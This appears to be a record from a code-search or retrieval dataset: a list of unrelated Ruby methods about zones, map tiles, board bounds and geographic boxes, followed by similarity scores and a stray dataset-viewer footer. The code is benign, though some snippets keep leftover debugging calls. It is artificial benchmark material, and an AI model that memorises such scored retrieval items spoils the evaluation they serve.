"def include?(address)\n return false unless address\n debugger\n members.any? do |zone_member|\n case zone_member.zoneable_type\n when \"Zone\"\n zone_member.zoneable.include?(address)\n when \"Country\"\n zone_member.zoneable == address.country\n when \"State\"\n zone_member.zoneable == address.state\n when \"Zipcode\"\n zone_member.zoneable.name == address.zipcode\n else\n false\n end\n end\n end",
"def map_tile_nocavern(tile)\n (-1..1).all? { |dx| (-1..1).all? { |dy|\n next if not t = tile.offset(dx, dy)\n tm = t.tilemat\n if !t.designation.hidden\n t.designation.flow_size < 4 and tm != :FROZEN_LIQUID\n else\n t.shape_basic == :Wall and (tm == :STONE or tm == :MINERAL or tm == :SOIL or tm == :ROOT)\n end\n } }\n end",
"def solid?(game_map, x, y)\r\n # puts \"X: \" + x.to_s + \" Y: \" + y.to_s # for debuging\r\n if(x < 0 || x > 240) # dosen't allow player to go out of side walls\r\n return true\r\n end\r\n\r\n if(y<0 ||game_map.tiles[y / 20][x / 20]==0)\r\n return false\r\n else \r\n return true\r\n end\r\n\r\nend",
"def block?(ip)\n\t\trec = @@i2l.get_all(ip)\n\t\tlat = rec.latitude\n\t\tlng = rec.longitude\n\t\treturn @squares.each.map { |s| s.contains?(lat,lng) }.any?\n\tend",
"def map_passable_rect?(x, y, d, rect)\r\r\n $game_map.passable_rect?(x, y, d, rect)\r\r\n end",
"def neighbor_of?(tile)\n self != tile && !shared_edges(tile).empty?\n end",
"def isBoundedBy(coord)\n inBox(getBox([nw_lon,nw_lat],[se_lon,se_lat]),coord)\n end",
"def tatsu?(tile)\n self.connects?(tile) && self != tile\n end",
"def markOrigin(ox, oy, oz)\n t = df.map_tile_at(ox, oy, oz)\n if t then\n s = t.shape_basic\n #TODO: preseve designation:\n #$originTile = t.designation # a global to store the original origin state\n #puts \"origin: #{$originTile}\"\n t.dig(:Default) if s == :Wall\n end\nend",
"def zone_exists?(zone_name)\n output = Mixlib::ShellOut.new(\"zoneadm -z #{zone_name} list -p\").run_command\n if output.stdout.split(':')[1].eql? zone_name\n true\n else\n false\n end\n end",
"def map_bounds_contain_marker_bounds\n \tresult = false\n\tif mapContainsPoint(@marker_bounds[\"n\"], @marker_bounds[\"e\"]) && mapContainsPoint(@marker_bounds[\"s\"], @marker_bounds[\"w\"])\n\t\tresult = true\n\tend\n\treturn result\nend",
"def is_within_bounds?(board, move)\n return move[0] >= 0 && move[0] <= 2 &&\n move[1] >= 0 && move[1] <= 2\n end",
"def ==(tile)\n self.vtx == tile.vtx\n end",
"def tile_at(pos)\n tiles.each {|t| return t if t.position == pos}\n return nil\n end",
"def land_ok?(x, y, d)\r\r\n if @type == :airship\r\r\n return false unless $game_map.airship_land_ok_rect?(x, y, collision_rect)\r\r\n return false unless $game_map.events_xy_rect(x, y, collision_rect).empty?\r\r\n else\r\r\n x2 = $game_map.round_x_with_direction(x, d)\r\r\n y2 = $game_map.round_y_with_direction(y, d)\r\r\n return false unless $game_map.valid_rect?(x2, y2, collision_rect)\r\r\n return false unless $game_map.passable_rect?(x2, y2, reverse_dir(d), collision_rect)\r\r\n return false if collide_with_characters?(x2, y2)\r\r\n end\r\r\n return true\r\r\n end",
"def verify_tiles\n end",
"def hit\n hit_object = $window.tiles.select{|t| t.within_clickable?(@x, @y) and !t.content.nil?}\n return hit_object.first if !hit_object.nil?\n end",
"def update_zone\n return false if @last_map_id == $game_map.map_id\n @last_map_id = map_id = $game_map.map_id\n last_zone = @zone\n # Searching for the current zone\n GameData::Zone.all.each_with_index do |data, index|\n next unless data\n if data.map_included?(map_id)\n load_zone_information(data, index)\n break\n end\n end\n return false if last_zone == @zone\n return @zone\n end",
"def over_bound?(x, y)\n if (x != @x || y != @y) && $game_map.valid?(x, y)\n max_w = $game_map.max_width ; max_h = $game_map.max_height\n screen_x = $game_map.adjust_x(x) * 32 + 16\n screen_y = $game_map.adjust_y(y) * 32 + 32\n sx = (screen_x / 32).to_i; sy = (screen_y / 32).to_i\n if sx.between?(0 - out_offset, max_w + out_offset) && \n sy.between?(0 - out_offset, max_h + out_offset)\n \n return false\n end # sx, sy\n end # xy != @xy && map_valid\n return true\n end",
"def hops_in_zone(zone)\n RouteHop.hops_in_zone(id, zone)\n end",
"def obstacle? (x, y)\n return (@obstacle_map[x][y] != nil)\n end",
"def exists_at?(coords)\n coords.all? { |c| c.between?(0, 7) }\n end",
"def in_zone?(address)\n $stderr.puts \"Warning: calling deprecated method :in_zone? use :include? instead.\"\n include?(address) \n end",
"def solid?(x, y)\n y < 0 || @tiles[x / 50][y / 50]\n end",
"def solid?(x, y)\n y < 0 || @tiles[x / 50][y / 50]\n end",
"def include?(address)\n return false unless address\n\n members.any? do |zone_member|\n case zone_member.zoneable_type\n when \"Spree::Country\"\n zone_member.zoneable_id == address.country_id\n when \"Spree::State\"\n zone_member.zoneable_id == address.state_id\n when \"Spree::Zipcode\"\n zone_member.zoneable.name == address.zipcode_base\n else\n false\n end\n end\nend",
"def obstacle?(check_x, check_y)\n game.pieces.exists?(:x_position => check_x,\n :y_position => check_y,\n :active => 1)\n end",
"def exists_in_box(grid, start_row, start_column, number)\n row = 0\n column = 0\n while row < 3\n column = 0\n while column < 3\n return true if grid[row + start_row][column + start_column] == number\n column += 1\n end\n row += 1\n end\n return false\nend",
"def located_here?(x,y)\n self.location == [x,y]\n end",
"def airship_land_ok_rect?(x, y, rect)\r\r\n x2 = x + (rect.x / 32.0)\r\r\n y2 = y + (rect.y / 32.0)\r\r\n x3 = x2 + (rect.width / 32.0)\r\r\n y3 = y2 + (rect.height / 32.0)\r\r\n return false unless check_passage(x2, y2, 0x0800) && check_passage(x2, y2, 0x0f)\r\r\n return false unless check_passage(x2, y3, 0x0800) && check_passage(x2, y3, 0x0f)\r\r\n return false unless check_passage(x3, y2, 0x0800) && check_passage(x3, y2, 0x0f)\r\r\n return check_passage(x3, y3, 0x0800) && check_passage(x3, y3, 0x0f)\r\r\n end",
"def can_go_up?(the_maze, floor, position)\r\n (floor - 1 > -1) and (the_maze[floor - 1][position] == \"0\") \r\nend",
"def contains(mover)\n l = mover.location\n ((@x..@x + @w).cover? l.x) && ((@y..@y + @h).cover? l.y)\n end",
"def inbounds(destination)\n row = destination[0]\n column = destination[1]\n row >= 0 && row <= 7 && column >= 0 && column <= 7\n end",
"def counter?(x, y)\r\n if @map_id != 0\r\n for i in [2, 1, 0]\r\n tile_id = data[x, y, i]\r\n if tile_id == nil\r\n return false\r\n elsif @passages[tile_id] & 0x80 == 0x80\r\n return true\r\n end\r\n end\r\n end\r\n return false\r\n end",
"def encounter_possible_here?\r\n return true if $PokemonGlobal.surfing\r\n terrain_tag = $game_map.terrain_tag($game_player.x, $game_player.y)\r\n return false if terrain_tag.ice\r\n return true if has_cave_encounters? # i.e. this map is a cave\r\n return true if has_land_encounters? && terrain_tag.land_wild_encounters\r\n return false\r\n end",
"def found_exit?(the_maze, floor, position) \r\n (floor == 0 or floor == the_maze.size - 1) or (position == 0 or position == the_maze[floor].size - 1)\r\nend",
"def in_zone?(order)\n # shipping address is in promotional zones?\n if self.zone\n order.shipment && order.ship_address && self.zone.include?(order.ship_address)\n else\n true\n end\n end",
"def contains_mine?(row, col)\n cell = @grid[row][col]\n cell.contains_mine\n end",
"def piece_in_space?(x, y)\n pieces.where(position_x: x, position_y: y).any? ? true : false\n end",
"def is_inbounds?(x, y)\n true unless y > @maze.max.size-1 or y < 0 or x > @maze.size-1 or x < 0\n end",
"def wall?(x, y)\n tile_id = tile_id(x, y, 0)\n tile_id.between?(2288, 2335) || tile_id.between?(2384, 2431) ||\n tile_id.between?(2480, 2527) || tile_id.between?(2576, 2623) ||\n tile_id.between?(2672, 2719) || tile_id.between?(2768, 2815) ||\n tile_id.between?(4736, 5119) || tile_id.between?(5504, 5887) ||\n tile_id.between?(6272, 6655) || tile_id.between?(7040, 7423) ||\n tile_id > 7807\n end",
"def more_south(tile1, tile2)\n return tile1.y > tile2.y\n end",
"def objects_in_zone(type_name, zone_name)\n return {} unless @project.element?(type_name)\n objects = @project.get_element type_name || {}\n objects.select { |_, data| data[:zone] == zone_name }\n end",
"def adjacent_of_map_border?\n w = $game_map.width -1\n h = $game_map.height -1\n (self.x == 0 or self.x == w) or (self.y == 0 or self.y == h)\n end",
"def zone\n zn = zone_name\n zn ? @engine.item_by_name(zn) : nil\n end",
"def include?(address)\n return false unless address\n \n # NOTE: This is complicated by the fact that include? for HMP is broken in Rails 2.1 (so we use awkward index method)\n members.any? do |zone_member|\n case zone_member.zoneable_type\n when \"Zone\"\n zone_member.zoneable.include?(address)\n when \"Country\"\n zone_member.zoneable == address.country\n when \"State\"\n zone_member.zoneable == address.state\n\n when \"ZipCodeRange\"\n address.zipcode and address.zipcode.between?(\n zone_member.zoneable.start_zip,\n zone_member.zoneable.end_zip)\n \n else\n false\n end\n end\n end",
"def contains?(*args)\n x, y = *Vector2.extract(args.singularize)\n x.between?(self.x, self.x2 - 1) && y.between?(self.y, self.y2 - 1)\n end",
"def inbounds?(point)\n return false if point.x < 0\n return false if point.x >= @grid_width\n return false if point.y < 0\n return false if point.y >= @grid_height\n return true\n end",
"def check_building(building, x, y)\n (0..Unit.tile_width(building) - 1).each do |dx|\n (0..Unit.tile_height(building) -1).each do |dy|\n map.buildable? x + dx, y + dy\n end\n end\n #TODO moet ook checken of de positie binnen restricted coords valt.\n #TODO moet ook checken of het gebied egaal is\n #TODO moet ook checken of er units op die tiles staan\n end",
"def airship_land_ok?(x, y)\n return passable?(x, y, 0x08)\n end",
"def at_boundary?\n\t\tif @location.x == 0 || @location.x == @dimension-1 || @location.y == 0 || @location.y == @dimension-1\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"def checkWithinBoundaries?(player)\n # Is this necessary (abs'ing for range)\n lat = self.latitude\n long = self.longitude\n lat2 = self.latitude2\n long2 = self.longitude2\n\n if !player.positioned?\n return false\n end\n\n if (lat > lat2)\n temp = lat2\n lat2 = lat\n lat = temp\n end\n\n if (long > long2)\n temp = long2\n long2 = long\n long = temp\n end\n \n if (player.lat >= lat && player.lat <= lat2) && (player.long >= long && player.long <= long2)\n return true\n else\n return false\n end\n end",
"def surrounding_tile_empty?(board, direction, tile_position)\n begin\n if direction == :up\n if tile_position[0] == 0\n return false\n else\n board[tile_position[0]-1][tile_position[1]].content == \"empty\" ? true : false\n end\n elsif direction == :right\n if tile_position[1] == 4\n return false\n else\n board[tile_position[0]][tile_position[1]+1].content == \"empty\" ? true : false\n end\n elsif direction == :down\n if tile_position[0] == 4\n return false\n else\n board[tile_position[0]+1][tile_position[1]].content == \"empty\" ? true : false\n end\n elsif direction == :left\n if tile_position[1] == 0\n return false\n else\n board[tile_position[0]][tile_position[1]-1].content == \"empty\" ? true : false\n end\n end\n rescue StandardError => e\n puts \"Position: #{tile_position}, direction: #{direction}\"\n end\n end",
"def within?(x, y)\n (x >= 0) && (x < height) && (y >= 0) && (y < height)\n end",
"def get_tile_type(x, y)\n :tile\n end",
"def in_world?\n return false if lat < -90 || lat > 90\n return false if lon < -180 || lon > 180\n true\n end",
"def get_zone(x, y, worldmap_id = @worldmap)\n zone_id = GameData::WorldMap.get(worldmap_id).data[x, y]\n return zone_id && zone_id >= 0 ? GameData::Zone.get(zone_id) : nil\n end",
"def is_obstructed?(req_x, req_y)\n return false if self.type == \"Knight\"\n\n if self.requested_position_north(req_x, req_y)\n return true if game.pieces.where(\"x = ? AND y > ? AND y < ?\", self.x, self.y, req_y).present?\n elsif self.requested_position_south(req_x, req_y)\n return true if game.pieces.where(\"x = ? AND y < ? AND y > ?\", self.x, self.y, req_y).present?\n elsif self.requested_position_east(req_x, req_y)\n return true if game.pieces.where(\"y = ? AND x > ? AND x < ?\", self.y, self.x, req_x).present?\n elsif self.requested_position_west(req_x, req_y)\n return true if game.pieces.where(\"y = ? AND x < ? AND x > ?\", self.y, self.x, req_x).present?\n elsif self.requested_position_northeast(req_x, req_y)\n return true if find_obstructions_on_diagonal(req_x, req_y)\n elsif self.requested_position_northwest(req_x, req_y)\n return true if find_obstructions_on_diagonal(req_x, req_y)\n elsif self.requested_position_southwest(req_x, req_y)\n return true if find_obstructions_on_diagonal(req_x, req_y)\n else #requested_position_southeast(req_x, req_y)\n return true if find_obstructions_on_diagonal(req_x, req_y)\n end\n\n return false\n end",
"def map_passable?(x, y, d)\r\n $game_map.passable?(x, y, d)\r\n end",
"def zone_exists?(name)\n route53_client.list_hosted_zones_by_name(dns_name: name).hosted_zones.select { |r| r.name == name }.any?\n end",
"def check_encompassed_area\n @set_upper_area_sprite = false\n top_left, bot_right = get_edge_corner_dis\n last_x, last_y, copy_region = nil, nil, 0\n map_xd, map_yd = $game_map.display_x * 32, $game_map.display_y * 32\n ##total_height = (self.height + @character.jump_height).round\n total_height = (self.oy).round\n self.width.times do |x|\n xp = map_xd.to_i + top_left[0] + x\n unless xp / 32 == last_x\n last_x = xp / 32\n last_y, copy_region = nil, 0\n total_height.times do |y|\n yp = map_yd.to_i + bot_right[1] + @character.jump_height - y\n next if yp.to_i / 32 == last_y\n last_y = yp.to_i / 32\n if last_y == (@character.screen_y + map_yd).to_i / 32\n#~ if last_y == (@character.screen_y + @character.jump_height +\n#~ map_yd).to_i / 32\n break if $game_map.terrain_tag(last_x, last_y) == UpperTerrain\n next\n end\n next if $game_map.terrain_tag(last_x, last_y) != UpperTerrain\n copy_region = [self.height, total_height - y + 1].min\n set_upper_sprite\n break\n end\n end\n next if copy_region == 0\n rect = Rect.new(src_rect.x + x, src_rect.y, 1, copy_region)\n @upper_area_sprite.bitmap.blt(x, 0, self.bitmap, rect)\n self.bitmap.clear_rect(rect)\n end\n if !@set_upper_area_sprite && @upper_area_sprite\n @upper_area_sprite.visible = false\n end\n end"
] |
[
"0.6646575",
"0.65451014",
"0.653145",
"0.63563967",
"0.6271914",
"0.6222354",
"0.61680907",
"0.61251426",
"0.60486346",
"0.5990904",
"0.59853154",
"0.5950763",
"0.5950763",
"0.5943452",
"0.59415495",
"0.5940451",
"0.5887857",
"0.5885925",
"0.58771425",
"0.5876625",
"0.58543706",
"0.58541566",
"0.58372927",
"0.58301646",
"0.58091533",
"0.57718813",
"0.57625824",
"0.57301664",
"0.5701262",
"0.56978923",
"0.5697197",
"0.56859314",
"0.5682614",
"0.5680807",
"0.56782156",
"0.5673526",
"0.5666655",
"0.5666631",
"0.56604147",
"0.56553745",
"0.563857",
"0.56362647",
"0.5612652",
"0.5608724",
"0.560846",
"0.56037706",
"0.56025237",
"0.55910134",
"0.55905366",
"0.55848694",
"0.5580429",
"0.55791724",
"0.5565054",
"0.55643815",
"0.55559367",
"0.55487764",
"0.55396247",
"0.55350566",
"0.5519047",
"0.55180264",
"0.5515886",
"0.55141646",
"0.5500728",
"0.5500728",
"0.5494861",
"0.54906553",
"0.5487334",
"0.5484289",
"0.5474413",
"0.54670817",
"0.545602",
"0.5445337",
"0.54369515",
"0.5428869",
"0.5426938",
"0.5426555",
"0.5426102",
"0.5418042",
"0.5417694",
"0.54163265",
"0.54093945",
"0.5407989",
"0.5407956",
"0.54024786",
"0.54007363",
"0.53991103",
"0.53974974",
"0.539203",
"0.5390211",
"0.53714204",
"0.53581464",
"0.5351846",
"0.53410876",
"0.53397775",
"0.5338406",
"0.53289634",
"0.5328765",
"0.5322163",
"0.53216815",
"0.5321007"
] |
0.5781004
|
25
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.